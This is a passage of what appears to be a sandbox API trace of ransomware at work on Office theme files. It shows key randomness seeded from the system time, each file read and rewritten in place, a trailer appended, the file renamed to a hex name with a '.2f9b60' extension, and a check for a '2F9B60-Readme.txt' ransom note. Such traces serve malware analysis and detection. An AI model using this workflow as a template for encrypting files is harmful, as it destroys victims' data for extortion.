_Dest=0x1cd9f108, _Format="%c%c" | out: _Dest="5c") returned 2 [0095.610] sprintf (in: _Dest=0x1cd9f10a, _Format="%c%c" | out: _Dest="c5") returned 2 [0095.610] sprintf (in: _Dest=0x1cd9f10c, _Format="%c%c" | out: _Dest="b4") returned 2 [0095.611] sprintf (in: _Dest=0x1cd9f10e, _Format="%c%c" | out: _Dest="45") returned 2 [0095.611] sprintf (in: _Dest=0x1cd9f110, _Format="%c%c" | out: _Dest="2f") returned 2 [0095.611] sprintf (in: _Dest=0x1cd9f112, _Format="%c%c" | out: _Dest="37") returned 2 [0095.611] sprintf (in: _Dest=0x1cd9f114, _Format="%c%c" | out: _Dest="cf") returned 2 [0095.611] sprintf (in: _Dest=0x1cd9f116, _Format="%c%c" | out: _Dest="92") returned 2 [0095.611] sprintf (in: _Dest=0x1cd9f118, _Format="%c%c" | out: _Dest="a4") returned 2 [0095.611] sprintf (in: _Dest=0x1cd9f11a, _Format="%c%c" | out: _Dest="4a") returned 2 [0095.611] sprintf (in: _Dest=0x1cd9f11c, _Format="%c%c" | out: _Dest="b8") returned 2 [0095.611] sprintf (in: _Dest=0x1cd9f11e, _Format="%c%c" | out: _Dest="4f") returned 2 [0095.611] sprintf (in: _Dest=0x1cd9f120, _Format="%c%c" | out: _Dest="e8") returned 2 [0095.611] sprintf (in: _Dest=0x1cd9f122, _Format="%c%c" | out: _Dest="dd") returned 2 [0095.611] RtlInitAnsiString (in: DestinationString=0x280ffd68, SourceString="046ac17834d22675a1f40fc35cc5b4452f37cf92a44ab84fe8dd" | out: DestinationString="046ac17834d22675a1f40fc35cc5b4452f37cf92a44ab84fe8dd") [0095.611] RtlAnsiStringToUnicodeString (in: DestinationString=0x280ffd38, SourceString="046ac17834d22675a1f40fc35cc5b4452f37cf92a44ab84fe8dd", AllocateDestinationString=1 | out: DestinationString="046ac17834d22675a1f40fc35cc5b4452f37cf92a44ab84fe8dd") returned 0x0 [0095.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b8672c0 [0095.611] wcscat (in: _Dest=0x107900, _Source="046ac17834d22" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\046ac17834d22") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\046ac17834d22" [0095.611] wcscat (in: _Dest=0x107900, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\046ac17834d22.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\046ac17834d22.2f9b60" [0095.611] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\046ac17834d22.2f9b60", NtPathName=0x280ffd10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\046ac17834d22.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0095.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1b776770 [0107.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776770) returned 1 [0107.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47780) returned 1 [0107.613] NtQueryInformationFile (in: FileHandle=0xe00, IoStatusBlock=0x280ffd78, FileInformation=0x280ffd88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x280ffd78, FileInformation=0x280ffd88) returned 0x0 [0107.613] NtSetInformationFile (FileHandle=0xe00, IoStatusBlock=0x280ffd78, FileInformation=0x280ffd88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0107.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107900) returned 1 [0107.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8672c0) returned 1 [0107.650] FlushFileBuffers (hFile=0xe00) returned 1 [0107.657] CloseHandle (hObject=0xe00) returned 1 [0107.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x108080 [0107.677] wcscpy (in: _Dest=0x108080, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0107.677] wcscat (in: _Dest=0x108080, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0107.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0x20 [0107.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x108080) returned 1 [0107.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5650) returned 1 Thread: id = 588 os_tid = 0x1014 [0094.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\couture.xml")) returned 0x20 [0095.175] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml", dwFileAttributes=0x20) returned 1 [0095.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\couture.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe6c [0095.193] GetFileSizeEx (in: hFile=0xe6c, lpFileSize=0x2435f7e0 | out: lpFileSize=0x2435f7e0*=962) returned 1 [0095.193] SetFilePointerEx (in: hFile=0xe6c, liDistanceToMove=0x3be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.193] ReadFile (in: hFile=0xe6c, lpBuffer=0x2435f760, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2435f7a8, lpOverlapped=0x0 | out: lpBuffer=0x2435f760*, lpNumberOfBytesRead=0x2435f7a8*=0x4, lpOverlapped=0x0) returned 1 [0095.417] SetFilePointerEx (in: hFile=0xe6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7e60 [0095.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c20 [0095.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8190 [0095.417] NtQuerySystemTime (in: CurrentTime=0x2435f6a0 | out: CurrentTime=0x2435f6a0*=132462177012514000) returned 0x0 [0095.417] RtlRandomEx (in: Seed=0x2435f690 | out: Seed=0x2435f690) returned 0x4573b36 [0095.417] RtlRandomEx (in: Seed=0x2435f690 | out: Seed=0x2435f690) returned 0x5eaf1810 [0095.417] RtlRandomEx (in: Seed=0x2435f690 | out: Seed=0x2435f690) returned 0x25c33dfd [0095.417] RtlRandomEx (in: Seed=0x2435f690 | out: Seed=0x2435f690) returned 0x443a8098 [0095.417] RtlRandomEx (in: Seed=0x2435f690 | out: Seed=0x2435f690) returned 0x6287ee75 [0095.417] RtlRandomEx (in: Seed=0x2435f690 | out: Seed=0x2435f690) returned 0x4225ef53 [0095.417] RtlRandomEx (in: Seed=0x2435f690 | out: Seed=0x2435f690) returned 0x775897ef [0095.418] RtlRandomEx (in: Seed=0x2435f690 | out: Seed=0x2435f690) returned 0x5b56affb [0095.418] RtlRandomEx (in: Seed=0x2435f690 | out: Seed=0x2435f690) returned 0xa9bda10 [0095.418] RtlRandomEx (in: Seed=0x2435f690 | out: Seed=0x2435f690) returned 0x6bce8c98 [0095.418] RtlRandomEx (in: Seed=0x2435f690 | out: Seed=0x2435f690) returned 0x4b806518 [0095.418] RtlRandomEx (in: Seed=0x2435f690 | out: Seed=0x2435f690) returned 0x7ac88ded [0095.418] RtlRandomEx (in: Seed=0x2435f690 | out: Seed=0x2435f690) returned 0x161b4f3f [0095.418] RtlRandomEx (in: Seed=0x2435f690 | out: Seed=0x2435f690) returned 0x881d164 [0095.418] RtlRandomEx (in: Seed=0x2435f690 | out: Seed=0x2435f690) returned 0x1cc2d116 [0095.418] RtlRandomEx (in: Seed=0x2435f690 | out: Seed=0x2435f690) returned 0x42eaa509 [0095.418] RtlRandomEx (in: Seed=0x2435f690 | out: Seed=0x2435f690) returned 0x2ba90333 [0095.418] RtlRandomEx (in: Seed=0x2435f690 | out: Seed=0x2435f690) returned 0x7adec018 [0095.418] RtlRandomEx (in: Seed=0x2435f690 | out: Seed=0x2435f690) returned 0x386a90cc [0095.418] RtlRandomEx (in: Seed=0x2435f690 | out: Seed=0x2435f690) returned 0x34fa7357 [0095.418] RtlRandomEx (in: Seed=0x2435f690 | out: Seed=0x2435f690) returned 0x395ea236 [0095.419] RtlRandomEx (in: Seed=0x2435f690 | out: Seed=0x2435f690) returned 0xcf530f6 [0095.419] RtlRandomEx (in: Seed=0x2435f690 | out: Seed=0x2435f690) returned 0x5c567e02 [0095.419] RtlRandomEx (in: Seed=0x2435f690 | out: Seed=0x2435f690) returned 0x3ee0b5ef [0095.419] RtlRandomEx (in: Seed=0x2435f690 | out: Seed=0x2435f690) returned 0x6465064f [0095.419] RtlRandomEx (in: Seed=0x2435f690 | out: Seed=0x2435f690) returned 0x7d3a2614 [0095.419] RtlRandomEx (in: Seed=0x2435f690 | out: Seed=0x2435f690) returned 0x683131d [0095.419] RtlRandomEx (in: Seed=0x2435f690 | out: Seed=0x2435f690) returned 0x54d2c798 [0095.419] RtlRandomEx (in: Seed=0x2435f690 | out: Seed=0x2435f690) returned 0x17f8a33a [0095.419] RtlRandomEx (in: Seed=0x2435f690 | out: Seed=0x2435f690) returned 0x2af4dba8 [0095.419] RtlRandomEx (in: Seed=0x2435f690 | out: Seed=0x2435f690) returned 0x41e810f6 [0095.419] RtlRandomEx (in: Seed=0x2435f690 | out: Seed=0x2435f690) returned 0x228403db [0095.430] ReadFile (in: hFile=0xe6c, lpBuffer=0x201900b0, nNumberOfBytesToRead=0x3c2, lpNumberOfBytesRead=0x2435f690, lpOverlapped=0x0 | out: lpBuffer=0x201900b0*, lpNumberOfBytesRead=0x2435f690*=0x3c2, lpOverlapped=0x0) returned 1 [0095.430] SetFilePointerEx (in: hFile=0xe6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.430] WriteFile (in: hFile=0xe6c, lpBuffer=0x20153cc0*, nNumberOfBytesToWrite=0x3c2, lpNumberOfBytesWritten=0x2435f694, lpOverlapped=0x0 | out: lpBuffer=0x20153cc0*, lpNumberOfBytesWritten=0x2435f694*=0x3c2, lpOverlapped=0x0) returned 1 [0095.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4c0 [0095.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbb0 [0095.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fbb0) returned 1 [0095.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20153cc0) returned 1 [0095.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201900b0) returned 1 [0095.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866340) returned 1 [0095.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0095.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b85fbb0 [0095.738] SetFilePointerEx (in: hFile=0xe6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0095.738] WriteFile (in: hFile=0xe6c, lpBuffer=0x1695e0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2435f7b0, lpOverlapped=0x0 | out: lpBuffer=0x1695e0*, lpNumberOfBytesWritten=0x2435f7b0*=0x108, lpOverlapped=0x0) returned 1 [0096.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0096.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866440 [0096.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7a10 [0096.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7a10) returned 1 [0096.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0096.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7a10 [0096.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8040 [0096.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8040) returned 1 [0096.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866440) returned 1 [0096.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0096.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f0f0 [0096.006] sprintf (in: _Dest=0x1cd9f0f0, _Format="%c%c" | out: _Dest="5d") returned 2 [0096.006] sprintf (in: _Dest=0x1cd9f0f2, _Format="%c%c" | out: _Dest="ca") returned 2 [0096.006] sprintf (in: _Dest=0x1cd9f0f4, _Format="%c%c" | out: _Dest="b3") returned 2 [0096.006] sprintf (in: _Dest=0x1cd9f0f6, _Format="%c%c" | out: _Dest="e6") returned 2 [0096.006] sprintf (in: _Dest=0x1cd9f0f8, _Format="%c%c" | out: _Dest="e1") returned 2 [0096.006] sprintf (in: _Dest=0x1cd9f0fa, _Format="%c%c" | out: _Dest="c8") returned 2 [0096.006] sprintf (in: _Dest=0x1cd9f0fc, _Format="%c%c" | out: _Dest="51") returned 2 [0096.006] sprintf (in: _Dest=0x1cd9f0fe, _Format="%c%c" | out: _Dest="fc") returned 2 [0096.006] sprintf (in: _Dest=0x1cd9f100, _Format="%c%c" | out: _Dest="9d") returned 2 [0096.007] sprintf (in: _Dest=0x1cd9f102, _Format="%c%c" | out: _Dest="0a") returned 2 [0096.007] sprintf (in: _Dest=0x1cd9f104, _Format="%c%c" | out: _Dest="81") returned 2 [0096.007] sprintf (in: _Dest=0x1cd9f106, _Format="%c%c" | out: _Dest="28") returned 2 [0096.007] sprintf (in: _Dest=0x1cd9f108, _Format="%c%c" | out: _Dest="a6") returned 2 [0096.007] sprintf (in: _Dest=0x1cd9f10a, _Format="%c%c" | out: _Dest="c3") returned 2 [0096.007] sprintf (in: _Dest=0x1cd9f10c, _Format="%c%c" | out: _Dest="bd") returned 2 [0096.007] sprintf (in: _Dest=0x1cd9f10e, _Format="%c%c" | out: _Dest="c4") returned 2 [0096.007] sprintf (in: _Dest=0x1cd9f110, _Format="%c%c" | out: _Dest="c3") returned 2 [0096.007] sprintf (in: _Dest=0x1cd9f112, _Format="%c%c" | out: _Dest="42") returned 2 [0096.007] sprintf (in: _Dest=0x1cd9f114, _Format="%c%c" | out: _Dest="d2") returned 2 [0096.007] sprintf (in: _Dest=0x1cd9f116, _Format="%c%c" | out: _Dest="ea") returned 2 [0096.007] sprintf (in: _Dest=0x1cd9f118, _Format="%c%c" | out: _Dest="3d") returned 2 [0096.007] sprintf (in: _Dest=0x1cd9f11a, _Format="%c%c" | out: _Dest="69") returned 2 [0096.007] RtlInitAnsiString (in: DestinationString=0x2435f828, SourceString="5dcab3e6e1c851fc9d0a8128a6c3bdc4c342d2ea3d69" | out: DestinationString="5dcab3e6e1c851fc9d0a8128a6c3bdc4c342d2ea3d69") [0096.007] RtlAnsiStringToUnicodeString (in: DestinationString=0x2435f7f8, SourceString="5dcab3e6e1c851fc9d0a8128a6c3bdc4c342d2ea3d69", AllocateDestinationString=1 | out: DestinationString="5dcab3e6e1c851fc9d0a8128a6c3bdc4c342d2ea3d69") returned 0x0 [0096.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b8639d0 [0096.007] wcscat (in: _Dest=0x107fc0, _Source="5dcab3e6e1c" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\5dcab3e6e1c") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\5dcab3e6e1c" [0096.008] wcscat (in: _Dest=0x107fc0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\5dcab3e6e1c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\5dcab3e6e1c.2f9b60" [0096.008] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\5dcab3e6e1c.2f9b60", NtPathName=0x2435f7d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\5dcab3e6e1c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0096.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x118c90 [0104.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118c90) returned 1 [0104.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267530) returned 1 [0104.742] NtQueryInformationFile (in: FileHandle=0xe6c, IoStatusBlock=0x2435f838, FileInformation=0x2435f848, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2435f838, FileInformation=0x2435f848) returned 0x0 [0104.742] NtSetInformationFile (FileHandle=0xe6c, IoStatusBlock=0x2435f838, FileInformation=0x2435f848, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107fc0) returned 1 [0105.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8639d0) returned 1 [0105.347] FlushFileBuffers (hFile=0xe6c) returned 1 [0105.351] CloseHandle (hObject=0xe6c) returned 1 [0105.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279130 [0105.458] wcscpy (in: _Dest=0x20279130, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0105.458] wcscat (in: _Dest=0x20279130, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0105.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0x20 [0105.458] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279130) returned 1 [0105.458] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a6150) returned 1 Thread: id = 589 os_tid = 0x1018 [0094.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\elemental.xml")) returned 0x20 [0095.072] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml", dwFileAttributes=0x20) returned 1 [0095.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\elemental.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe38 [0095.151] GetFileSizeEx (in: hFile=0xe38, lpFileSize=0x281bf8c0 | out: lpFileSize=0x281bf8c0*=964) returned 1 [0095.151] SetFilePointerEx (in: hFile=0xe38, liDistanceToMove=0x3c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.151] ReadFile (in: hFile=0xe38, lpBuffer=0x281bf840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x281bf888, lpOverlapped=0x0 | out: lpBuffer=0x281bf840*, lpNumberOfBytesRead=0x281bf888*=0x4, lpOverlapped=0x0) returned 1 [0095.269] SetFilePointerEx (in: hFile=0xe38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9d0 [0095.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f550 [0095.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb50 [0095.270] NtQuerySystemTime (in: CurrentTime=0x281bf780 | out: CurrentTime=0x281bf780*=132462177011110000) returned 0x0 [0095.270] RtlRandomEx (in: Seed=0x281bf770 | out: Seed=0x281bf770) returned 0x35a3fa40 [0095.270] RtlRandomEx (in: Seed=0x281bf770 | out: Seed=0x281bf770) returned 0x70e3a59 [0095.270] RtlRandomEx (in: Seed=0x281bf770 | out: Seed=0x281bf770) returned 0x910ac4c [0095.270] RtlRandomEx (in: Seed=0x281bf770 | out: Seed=0x281bf770) returned 0x1083534e [0095.270] RtlRandomEx (in: Seed=0x281bf770 | out: Seed=0x281bf770) returned 0x30cdb243 [0095.270] RtlRandomEx (in: Seed=0x281bf770 | out: Seed=0x281bf770) returned 0x3391b082 [0095.270] RtlRandomEx (in: Seed=0x281bf770 | out: Seed=0x281bf770) returned 0x7d983688 [0095.270] RtlRandomEx (in: Seed=0x281bf770 | out: Seed=0x281bf770) returned 0x3366d7c2 [0095.270] RtlRandomEx (in: Seed=0x281bf770 | out: Seed=0x281bf770) returned 0x774b9713 [0095.270] RtlRandomEx (in: Seed=0x281bf770 | out: Seed=0x281bf770) returned 0x31029d4e [0095.270] RtlRandomEx (in: Seed=0x281bf770 | out: Seed=0x281bf770) returned 0x7ddc593e [0095.270] RtlRandomEx (in: Seed=0x281bf770 | out: Seed=0x281bf770) returned 0x2b4c2a22 [0095.270] RtlRandomEx (in: Seed=0x281bf770 | out: Seed=0x281bf770) returned 0x72146d52 [0095.270] RtlRandomEx (in: Seed=0x281bf770 | out: Seed=0x281bf770) returned 0x2f14e57f [0095.270] RtlRandomEx (in: Seed=0x281bf770 | out: Seed=0x281bf770) returned 0x44b98201 [0095.270] RtlRandomEx (in: Seed=0x281bf770 | out: Seed=0x281bf770) returned 0x68e163b0 [0095.270] RtlRandomEx (in: Seed=0x281bf770 | out: Seed=0x281bf770) returned 0x3a5b5516 [0095.270] RtlRandomEx (in: Seed=0x281bf770 | out: Seed=0x281bf770) returned 0x7a904fef [0095.270] RtlRandomEx (in: Seed=0x281bf770 | out: Seed=0x281bf770) returned 0x5f9f6905 [0095.270] RtlRandomEx (in: Seed=0x281bf770 | out: Seed=0x281bf770) returned 0x6d08539f [0095.270] RtlRandomEx (in: Seed=0x281bf770 | out: Seed=0x281bf770) returned 0xdd0f041 [0095.270] RtlRandomEx (in: Seed=0x281bf770 | out: Seed=0x281bf770) returned 0x4455a143 [0095.270] RtlRandomEx (in: Seed=0x281bf770 | out: Seed=0x281bf770) returned 0x61eab13b [0095.270] RtlRandomEx (in: Seed=0x281bf770 | out: Seed=0x281bf770) returned 0x7ce255fc [0095.270] RtlRandomEx (in: Seed=0x281bf770 | out: Seed=0x281bf770) returned 0x31e9524a [0095.271] RtlRandomEx (in: Seed=0x281bf770 | out: Seed=0x281bf770) returned 0x6bffe3b7 [0095.271] RtlRandomEx (in: Seed=0x281bf770 | out: Seed=0x281bf770) returned 0x73019dbe [0095.271] RtlRandomEx (in: Seed=0x281bf770 | out: Seed=0x281bf770) returned 0x2d65a705 [0095.271] RtlRandomEx (in: Seed=0x281bf770 | out: Seed=0x281bf770) returned 0x7d3d0549 [0095.271] RtlRandomEx (in: Seed=0x281bf770 | out: Seed=0x281bf770) returned 0x6801fcd6 [0095.271] RtlRandomEx (in: Seed=0x281bf770 | out: Seed=0x281bf770) returned 0x2a76a34c [0095.271] RtlRandomEx (in: Seed=0x281bf770 | out: Seed=0x281bf770) returned 0x7c701662 [0095.279] ReadFile (in: hFile=0xe38, lpBuffer=0x201fd170, nNumberOfBytesToRead=0x3c4, lpNumberOfBytesRead=0x281bf770, lpOverlapped=0x0 | out: lpBuffer=0x201fd170*, lpNumberOfBytesRead=0x281bf770*=0x3c4, lpOverlapped=0x0) returned 1 [0095.279] SetFilePointerEx (in: hFile=0xe38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.279] WriteFile (in: hFile=0xe38, lpBuffer=0x20200d80*, nNumberOfBytesToWrite=0x3c4, lpNumberOfBytesWritten=0x281bf774, lpOverlapped=0x0 | out: lpBuffer=0x20200d80*, lpNumberOfBytesWritten=0x281bf774*=0x3c4, lpOverlapped=0x0) returned 1 [0098.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260140 [0098.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260170 [0098.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260170) returned 1 [0098.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20200d80) returned 1 [0098.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201fd170) returned 1 [0098.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8663c0) returned 1 [0098.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0098.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x20260170 [0098.414] SetFilePointerEx (in: hFile=0xe38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0098.415] WriteFile (in: hFile=0xe38, lpBuffer=0x167040*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x281bf890, lpOverlapped=0x0 | out: lpBuffer=0x167040*, lpNumberOfBytesWritten=0x281bf890*=0x10c, lpOverlapped=0x0) returned 1 [0101.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97670 [0101.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869fc0 [0101.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a2a0 [0101.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a2a0) returned 1 [0101.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85a2a0 [0101.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a420 [0101.556] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a4e0 [0101.556] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a4e0) returned 1 [0101.556] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869fc0) returned 1 [0101.556] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97670) returned 1 [0101.556] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9fc70 [0101.556] sprintf (in: _Dest=0x1cd9fc70, _Format="%c%c" | out: _Dest="07") returned 2 [0101.556] sprintf (in: _Dest=0x1cd9fc72, _Format="%c%c" | out: _Dest="ce") returned 2 [0101.556] sprintf (in: _Dest=0x1cd9fc74, _Format="%c%c" | out: _Dest="21") returned 2 [0101.556] sprintf (in: _Dest=0x1cd9fc76, _Format="%c%c" | out: _Dest="4d") returned 2 [0101.556] sprintf (in: _Dest=0x1cd9fc78, _Format="%c%c" | out: _Dest="cd") returned 2 [0101.556] 